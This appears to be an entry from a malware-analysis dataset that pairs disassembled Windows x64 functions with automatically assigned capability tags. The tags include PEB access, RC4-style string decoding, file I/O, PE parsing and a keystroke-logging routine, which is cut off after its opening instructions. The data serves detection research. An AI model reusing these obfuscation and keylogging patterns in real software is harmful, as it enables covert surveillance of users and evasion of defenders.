joyce8/EMBER2024-capa huggingface dataset:
Function at 0x526660
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x52670c
push rbp
mov rbp, rsp
sub rsp, 0x40
mov byte [rsp + 0x60], cl
mov byte [rsp + 0x61], dil
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], cl
call fcn.00403180
xorps xmm15, xmm15
mov r14, qword [0x00689858]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0xffffffffffffffff
je 0x5266d3
lea rax, [rsp + 0x20]
mov rbx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call fcn.00445060
movzx edx, byte [rsp + 0x61]
movzx esi, byte [rsp + 0x60]
xor ecx, ecx
jmp 0x5266e6
mov rax, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rbp
ret
inc rcx
cmp rbx, rcx
jle 0x5266f9
movzx edi, byte [rax + rcx]
cmp dil, sil
jne 0x5266e3
mov byte [rax + rcx], dl
jmp 0x5266e3
mov rcx, rbx
mov rbx, rax
xor eax, eax
call fcn.0045af60
add rsp, 0x40
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov byte [rsp + 0x18], cl
mov byte [rsp + 0x19], dil
nop
call fcn.0045e2e0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
movzx ecx, byte [rsp + 0x18]
movzx edi, byte [rsp + 0x19]
jmp fcn.00526660

Function at 0x52ada0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x52ae78
push rbp
mov rbp, rsp
sub rsp, 0x38
movabs rdx, 0x6997987082818054
mov qword [rsp + 0x2c], rdx
mov dword [rsp + 0x34], 0x8374e176
movabs rdx, 0xb010b0605080109
mov qword [rsp + 0x1a], rdx
movabs rdx, 0x3000b010b060508
mov qword [rsp + 0x1c], rdx
movabs rdx, 0x20a030203080b08
mov qword [rsp + 0x24], rdx
xor eax, eax
jmp 0x52ae14
movzx r9d, byte [rsp + rsi + 0x2c]
lea edx, [r9 + rdx]
lea edx, [rdx - 0x24]
mov byte [rsp + rdi + 0x2c], dl
mov byte [rsp + rsi + 0x2c], r8b
add rax, 2
cmp rax, 0x12
jge 0x52ae48
movzx edx, byte [rsp + rax + 0x1a]
movzx esi, byte [rsp + rax + 0x1b]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 0xc
jae 0x52ae6b
movzx r8d, byte [rsp + rdi + 0x2c]
lea r8d, [r8 + rdx]
lea r8d, [r8 - 0x24]
nop
cmp rsi, 0xc
jb 0x52adfa
jmp 0x52ae5f
xor eax, eax
lea rbx, [rsp + 0x2c]
mov ecx, 0xc
call fcn.0045af60
add rsp, 0x38
pop rbp
ret
mov eax, esi
mov ecx, 0xc
call fcn.004605c0
mov eax, edi
mov ecx, 0xc
call fcn.004605c0
nop
call fcn.0045e2e0
nop dword [rax]
jmp fcn.0052ada0
Function at 0x52b960
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x52ba26
push rbp
mov rbp, rsp
sub rsp, 0x30
movabs rdx, 0xa7769c657265dfd4
mov qword [rsp + 0x25], rdx
mov dword [rsp + 0x2c], 0x6a0a8a7
movabs rdx, 0x8090a010500010a
mov qword [rsp + 0x19], rdx
mov dword [rsp + 0x21], 0x7050a
xor eax, eax
jmp 0x52b9c0
movzx r9d, byte [rsp + rsi + 0x25]
lea edx, [r9 + rdx]
lea edx, [rdx - 0x43]
mov byte [rsp + rdi + 0x25], dl
mov byte [rsp + rsi + 0x25], r8b
add rax, 2
nop
cmp rax, 0xc
jge 0x52b9f2
movzx edx, byte [rsp + rax + 0x19]
movzx esi, byte [rsp + rax + 0x1a]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 0xb
jae 0x52ba17
movzx r8d, byte [rsp + rdi + 0x25]
lea r8d, [r8 + rdx]
lea r8d, [r8 - 0x43]
cmp rsi, 0xb
jb 0x52b9a4
jmp 0x52ba0b
xor eax, eax
lea rbx, [rsp + 0x25]
mov ecx, 0xb
nop
call fcn.0045af60
add rsp, 0x30
pop rbp
ret
mov eax, esi
mov ecx, 0xb
call fcn.004605c0
mov eax, edi
mov ecx, 0xb
nop
call fcn.004605c0
nop
call fcn.0045e2e0
jmp fcn.0052b960

Function at 0x52be20
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x52bf1d
push rbp
mov rbp, rsp
sub rsp, 0x50
movabs rdx, 0x664a745d37471d27
mov qword [rsp + 0x3b], rdx
movabs rdx, 0x805554654f664a74
mov qword [rsp + 0x40], rdx
movabs rdx, 0x7f654a4277677631
mov qword [rsp + 0x48], rdx
movabs rdx, 0xb03120201001108
mov qword [rsp + 0x1d], rdx
movabs rdx, 0xa080d021201060d
mov qword [rsp + 0x25], rdx
movabs rdx, 0x12110a070f040a08
mov qword [rsp + 0x2b], rdx
movabs rdx, 0xc14120206061003
mov qword [rsp + 0x33], rdx
xor eax, eax
jmp 0x52bec0
movzx r9d, byte [rsp + rsi + 0x3b]
sub r9d, edx
lea edx, [r9 + 0x27]
mov byte [rsp + rdi + 0x3b], dl
lea edx, [r8 + 0x27]
mov byte [rsp + rsi + 0x3b], dl
add rax, 2
nop dword [rax]
cmp rax, 0x1e
jge 0x52beed
movzx edx, byte [rsp + rax + 0x1d]
movzx esi, byte [rsp + rax + 0x1e]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 0x15
jae 0x52bf10
movzx r8d, byte [rsp + rdi + 0x3b]
sub r8d, edx
cmp rsi, 0x15
jb 0x52be9f
jmp 0x52bf04
xor eax, eax
lea rbx, [rsp + 0x3b]
mov ecx, 0x15
call fcn.0045af60
add rsp, 0x50
pop rbp
ret
mov eax, esi
mov ecx, 0x15
call fcn.004605c0
mov eax, edi
mov ecx, 0x15
call fcn.004605c0
nop
nop dword [rax]
call fcn.0045e2e0
jmp fcn.0052be20
Function at 0x52c780
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x52c84c
push rbp
mov rbp, rsp
sub rsp, 0x38
movabs rdx, 0x61828da173658255
mov qword [rsp + 0x2a], rdx
movabs rdx, 0x57826c6780666182
mov qword [rsp + 0x30], rdx
movabs rdx, 0x40b030900000c08
mov qword [rsp + 0x1a], rdx
movabs rdx, 0xc050b060b010808
mov qword [rsp + 0x22], rdx
xor eax, eax
jmp 0x52c7ef
movzx r9d, byte [rsp + rsi + 0x2a]
sub r9d, edx
lea edx, [r9 - 4]
mov byte [rsp + rdi + 0x2a], dl
lea edx, [r8 - 4]
mov byte [rsp + rsi + 0x2a], dl
add rax, 2
cmp rax, 0x10
jge 0x52c81c
movzx edx, byte [rsp + rax + 0x1a]
movzx esi, byte [rsp + rax + 0x1b]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 0xe
jae 0x52c83f
movzx r8d, byte [rsp + rdi + 0x2a]
sub r8d, edx
cmp rsi, 0xe
jb 0x52c7d2
jmp 0x52c833
xor eax, eax
lea rbx, [rsp + 0x2a]
mov ecx, 0xe
call fcn.0045af60
add rsp, 0x38
pop rbp
ret
mov eax, esi
mov ecx, 0xe
call fcn.004605c0
mov eax, edi
mov ecx, 0xe
call fcn.004605c0
nop
call fcn.0045e2e0
jmp fcn.0052c780

Function at 0x52d2e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x52d3a7
push rbp
mov rbp, rsp
sub rsp, 0x38
movabs rdx, 0xd473eca1d98aa150
mov qword [rsp + 0x2d], rdx
mov dword [rsp + 0x34], 0x1cd672d4
movabs rdx, 0x10a050a07030109
mov qword [rsp + 0x1f], rdx
movabs rdx, 0x30402070705010a
mov qword [rsp + 0x25], rdx
xor eax, eax
jmp 0x52d348
movzx r9d, byte [rsp + rsi + 0x2d]
sub r9d, edx
lea edx, [r9 - 0x2b]
mov byte [rsp + rdi + 0x2d], dl
lea edx, [r8 - 0x2b]
mov byte [rsp + rsi + 0x2d], dl
add rax, 2
cmp rax, 0xe
jge 0x52d377
movzx edx, byte [rsp + rax + 0x1f]
movzx esi, byte [rsp + rax + 0x20]
mov edi, edx
xor edx, esi
add edx, eax
nop
cmp rdi, 0xb
jae 0x52d39a
movzx r8d, byte [rsp + rdi + 0x2d]
sub r8d, edx
cmp rsi, 0xb
jb 0x52d32b
jmp 0x52d38e
xor eax, eax
lea rbx, [rsp + 0x2d]
mov ecx, 0xb
call fcn.0045af60
add rsp, 0x38
pop rbp
ret
mov eax, esi
mov ecx, 0xb
call fcn.004605c0
mov eax, edi
mov ecx, 0xb
call fcn.004605c0
nop
call fcn.0045e2e0
jmp fcn.0052d2e0

Function at 0x538660
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x538726
push rbp
mov rbp, rsp
sub rsp, 0x30
movabs rdx, 0xc20b6170acb96e0c
mov qword [rsp + 0x26], rdx
mov word [rsp + 0x2e], 0x7465
movabs rdx, 0x206000703030707
mov qword [rsp + 0x1c], rdx
mov word [rsp + 0x24], 0x306
xor eax, eax
jmp 0x5386c0
movzx r9d, byte [rsp + rsi + 0x26]
lea edx, [r9 + rdx]
lea edx, [rdx + 0x54]
mov byte [rsp + rdi + 0x26], dl
mov byte [rsp + rsi + 0x26], r8b
add rax, 2
nop dword [rax]
cmp rax, 0xa
jge 0x5386f2
movzx edx, byte [rsp + rax + 0x1c]
movzx esi, byte [rsp + rax + 0x1d]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 0xa
jae 0x538717
movzx r8d, byte [rsp + rdi + 0x26]
lea r8d, [r8 + rdx]
lea r8d, [r8 + 0x54]
cmp rsi, 0xa
jb 0x5386a2
jmp 0x53870b
xor eax, eax
lea rbx, [rsp + 0x26]
mov ecx, 0xa
nop
call fcn.0045af60
add rsp, 0x30
pop rbp
ret
mov eax, esi
mov ecx, 0xa
call fcn.004605c0
mov eax, edi
mov ecx, 0xa
nop
call fcn.004605c0
nop
call fcn.0045e2e0
jmp fcn.00538660
Function at 0x539a60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
lea r12, [rsp - 0x40]
cmp r12, qword [r14 + 0x10]
jbe 0x539bd5
push rbp
mov rbp, rsp
sub rsp, 0xb8
movabs rdx, 0x447461916ab96f5f
mov qword [rsp + 0x71], rdx
movabs rdx, 0x757563f030892044
mov qword [rsp + 0x78], rdx
movabs rdx, 0x884c802074ceae31
mov qword [rsp + 0x80], rdx
movabs rdx, 0x446e6e6f72825d77
mov qword [rsp + 0x88], rdx
movabs rdx, 0x6a7473208b201c04
mov qword [rsp + 0x90], rdx
movabs rdx, 0x659b0d891b85558f
mov qword [rsp + 0x98], rdx
movabs rdx, 0x82727e7920ba6ffc
mov qword [rsp + 0xa0], rdx
movabs rdx, 0xc053364f7d208965
mov qword [rsp + 0xa8], rdx
movabs rdx, 0x29aa4c353867bb31
mov qword [rsp + 0xb0], rdx
movabs rdx, 0x2f44350b0b41153d
mov qword [rsp + 0x19], rdx
lea rdi, [rsp + 0x21]
lea rsi, [0x005a70a0]
nop word [rax + rax]
nop word [rax + rax]
mov qword [rsp - 0x10], rbp
lea rbp, [rsp - 0x10]
call fcn.00460bda
mov rbp, qword [rbp]
xor eax, eax
jmp 0x539b74
movzx r9d, byte [rsp + rsi + 0x71]
sub r9d, edx
lea edx, [r9 + 0x45]
mov byte [rsp + rdi + 0x71], dl
lea edx, [r8 + 0x45]
mov byte [rsp + rsi + 0x71], dl
add rax, 2
cmp rax, 0x58
jge 0x539ba2
movzx edx, byte [rsp + rax + 0x19]
movzx esi, byte [rsp + rax + 0x1a]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 0x47
jae 0x539bc8
movzx r8d, byte [rsp + rdi + 0x71]
sub r8d, edx
cmp rsi, 0x47
jb 0x539b57
nop
jmp 0x539bbc
xor eax, eax
lea rbx, [rsp + 0x71]
mov ecx, 0x47
call fcn.0045af60
add rsp, 0xb8
pop rbp
ret
mov eax, esi
mov ecx, 0x47
call fcn.004605c0
mov eax, edi
mov ecx, 0x47
call fcn.004605c0
nop
call fcn.0045e2e0
jmp fcn.00539a60

Function at 0x53a140
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x53a24c
push rbp
mov rbp, rsp
sub rsp, 0x50
movabs rdx, 0x6d6d70f36f78e7e7
mov qword [rsp + 0x37], rdx
movabs rdx, 0xed6f007e74d965eb
mov qword [rsp + 0x3f], rdx
movabs rdx, 0x6ed6f007e74d965
mov qword [rsp + 0x40], rdx
movabs rdx, 0x78f959a24d778e2e
mov qword [rsp + 0x48], rdx
movabs rdx, 0x8101713150c1210
mov qword [rsp + 0x1b], rdx
movabs rdx, 0x7020a170012050d
mov qword [rsp + 0x23], rdx
movabs rdx, 0x1615060f07020a17
mov qword [rsp + 0x27], rdx
movabs rdx, 0x4071502000d010f
mov qword [rsp + 0x2f], rdx
xor eax, eax
jmp 0x53a1e8
movzx r9d, byte [rsp + rsi + 0x37]
lea edx, [r9 + rdx]
lea edx, [rdx + 0x63]
mov byte [rsp + rdi + 0x37], dl
mov byte [rsp + rsi + 0x37], r8b
add rax, 2
cmp rax, 0x1c
jge 0x53a21c
movzx edx, byte [rsp + rax + 0x1b]
movzx esi, byte [rsp + rax + 0x1c]
mov edi, edx
xor edx, esi
add edx, eax
nop
cmp rdi, 0x19
jae 0x53a23f
movzx r8d, byte [rsp + rdi + 0x37]
lea r8d, [r8 + rdx]
lea r8d, [r8 + 0x63]
cmp rsi, 0x19
jb 0x53a1ce
jmp 0x53a233
xor eax, eax
lea rbx, [rsp + 0x37]
mov ecx, 0x19
call fcn.0045af60
add rsp, 0x50
pop rbp
ret
mov eax, esi
mov ecx, 0x19
call fcn.004605c0
mov eax, edi
mov ecx, 0x19
call fcn.004605c0
nop
call fcn.0045e2e0
jmp fcn.0053a140
Function at 0x53e6c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x53e787
push rbp
mov rbp, rsp
sub rsp, 0x38
movabs rdx, 0x210f0e501c195315
mov qword [rsp + 0x2d], rdx
mov dword [rsp + 0x34], 0x454c2121
movabs rdx, 0x608060005050702
mov qword [rsp + 0x1f], rdx
movabs rdx, 0x506070003060608
mov qword [rsp + 0x25], rdx
xor eax, eax
jmp 0x53e728
movzx r9d, byte [rsp + rsi + 0x2d]
sub r9d, edx
lea edx, [r9 + 0x29]
mov byte [rsp + rdi + 0x2d], dl
lea edx, [r8 + 0x29]
mov byte [rsp + rsi + 0x2d], dl
add rax, 2
cmp rax, 0xe
jge 0x53e757
movzx edx, byte [rsp + rax + 0x1f]
movzx esi, byte [rsp + rax + 0x20]
mov edi, edx
xor edx, esi
add edx, eax
nop
cmp rdi, 0xb
jae 0x53e77a
movzx r8d, byte [rsp + rdi + 0x2d]
sub r8d, edx
cmp rsi, 0xb
jb 0x53e70b
jmp 0x53e76e
xor eax, eax
lea rbx, [rsp + 0x2d]
mov ecx, 0xb
call fcn.0045af60
add rsp, 0x38
pop rbp
ret
mov eax, esi
mov ecx, 0xb
call fcn.004605c0
mov eax, edi
mov ecx, 0xb
call fcn.004605c0
nop
call fcn.0045e2e0
jmp fcn.0053e6c0

Function at 0x547b60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x547c4c
push rbp
mov rbp, rsp
sub rsp, 0x40
movabs rdx, 0x370ad77b0a322d0d
mov qword [rsp + 0x2f], rdx
movabs rdx, 0x3a370ad77b0a322d
mov qword [rsp + 0x30], rdx
movabs rdx, 0xf535f937636211cd
mov qword [rsp + 0x38], rdx
movabs rdx, 0x6030a0800090509
mov qword [rsp + 0x1b], rdx
movabs rdx, 0x1004010e06030a08
mov qword [rsp + 0x1f], rdx
movabs rdx, 0x5030f0f03100d0d
mov qword [rsp + 0x27], rdx
xor eax, eax
jmp 0x547bea
movzx r9d, byte [rsp + rsi + 0x2f]
lea edx, [r9 + rdx]
lea edx, [rdx + 0x21]
mov byte [rsp + rdi + 0x2f], dl
mov byte [rsp + rsi + 0x2f], r8b
add rax, 2
cmp rax, 0x14
jge 0x547c1c
movzx edx, byte [rsp + rax + 0x1b]
movzx esi, byte [rsp + rax + 0x1c]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 0x11
jae 0x547c3f
movzx r8d, byte [rsp + rdi + 0x2f]
lea r8d, [r8 + rdx]
lea r8d, [r8 + 0x21]
cmp rsi, 0x11
jb 0x547bd0
jmp 0x547c33
xor eax, eax
lea rbx, [rsp + 0x2f]
mov ecx, 0x11
call fcn.0045af60
add rsp, 0x40
pop rbp
ret
mov eax, esi
mov ecx, 0x11
call fcn.004605c0
mov eax, edi
mov ecx, 0x11
call fcn.004605c0
nop
call fcn.0045e2e0
jmp fcn.00547b60
Function at 0x548b80
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x548c6a
push rbp
mov rbp, rsp
sub rsp, 0x48
movabs rdx, 0xf036cd3433f1ea09
mov qword [rsp + 0x37], rdx
movabs rdx, 0xc2f036cd3433f1ea
mov qword [rsp + 0x38], rdx
movabs rdx, 0x784534353ce261c9
mov qword [rsp + 0x40], rdx
movabs rdx, 0xb0e0f010c0d030f
mov qword [rsp + 0x1f], rdx
movabs rdx, 0x20c0206000b0206
mov qword [rsp + 0x27], rdx
movabs rdx, 0x5090d0703080b07
mov qword [rsp + 0x2f], rdx
xor eax, eax
jmp 0x548c0d
movzx r9d, byte [rsp + rsi + 0x37]
sub r9d, edx
lea edx, [r9 - 0x72]
mov byte [rsp + rdi + 0x37], dl
lea edx, [r8 - 0x72]
mov byte [rsp + rsi + 0x37], dl
add rax, 2
cmp rax, 0x18
jge 0x548c3a
movzx edx, byte [rsp + rax + 0x1f]
movzx esi, byte [rsp + rax + 0x20]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 0x11
jae 0x548c5d
movzx r8d, byte [rsp + rdi + 0x37]
sub r8d, edx
cmp rsi, 0x11
jb 0x548bf0
jmp 0x548c51
xor eax, eax
lea rbx, [rsp + 0x37]
mov ecx, 0x11
call fcn.0045af60
add rsp, 0x48
pop rbp
ret
mov eax, esi
mov ecx, 0x11
call fcn.004605c0
mov eax, edi
mov ecx, 0x11
call fcn.004605c0
nop
call fcn.0045e2e0
jmp fcn.00548b80
Function at 0x180002ad0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x180002af8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x180002b1e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x180002b20
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x180002b79
test ecx, ecx
jle 0x180002b59
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x180002b79
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x180002b79
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x180002ba0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x180002bc2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x180002bd8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x180002bf4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x180002bf6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x180002c32
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x180002cce
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x180002c6d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x180002cae
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x180002cce
cmp rbx, rax
ja 0x180002c80
test rbx, rbx
je 0x180002cce
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x180003130
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x18000a040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x18000315d
xor eax, eax
jmp 0x1800032c9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x180003197
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x180003197
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x1800032c9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x1800032bc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1800031da
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x180003205
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1800032c1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x180003274
sub eax, 1
je 0x180003274
cmp eax, 2
jne 0x1800032bc
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1800032c1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x1800032a2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x1800032bc
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x1800032c1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180004170
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x180003660
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x18000a040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x180003733
cmp byte [rcx + 0x71], 0
je 0x180003733
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x18000372f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1800036f4
sub eax, 1
je 0x1800036f8
cmp eax, 2
jne 0x18000372f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180004170
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x180003726
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x18000372f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x1800036dc
xor al, al
jmp 0x1800036dc
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180004170
add rsp, 0x60
pop rbx
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400097f0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140009800]
mov dword [rax], 1
mov rax, qword [0x140009810]
mov dword [rax], 1
mov rax, qword [0x140009780]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400097e0]
mov dword [0x14000d00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x1400098d0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x1400098b0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140009740]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001493
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov dword [rbp - 4], 8
jmp 0x1400014e3
mov eax, dword [rbp - 4]
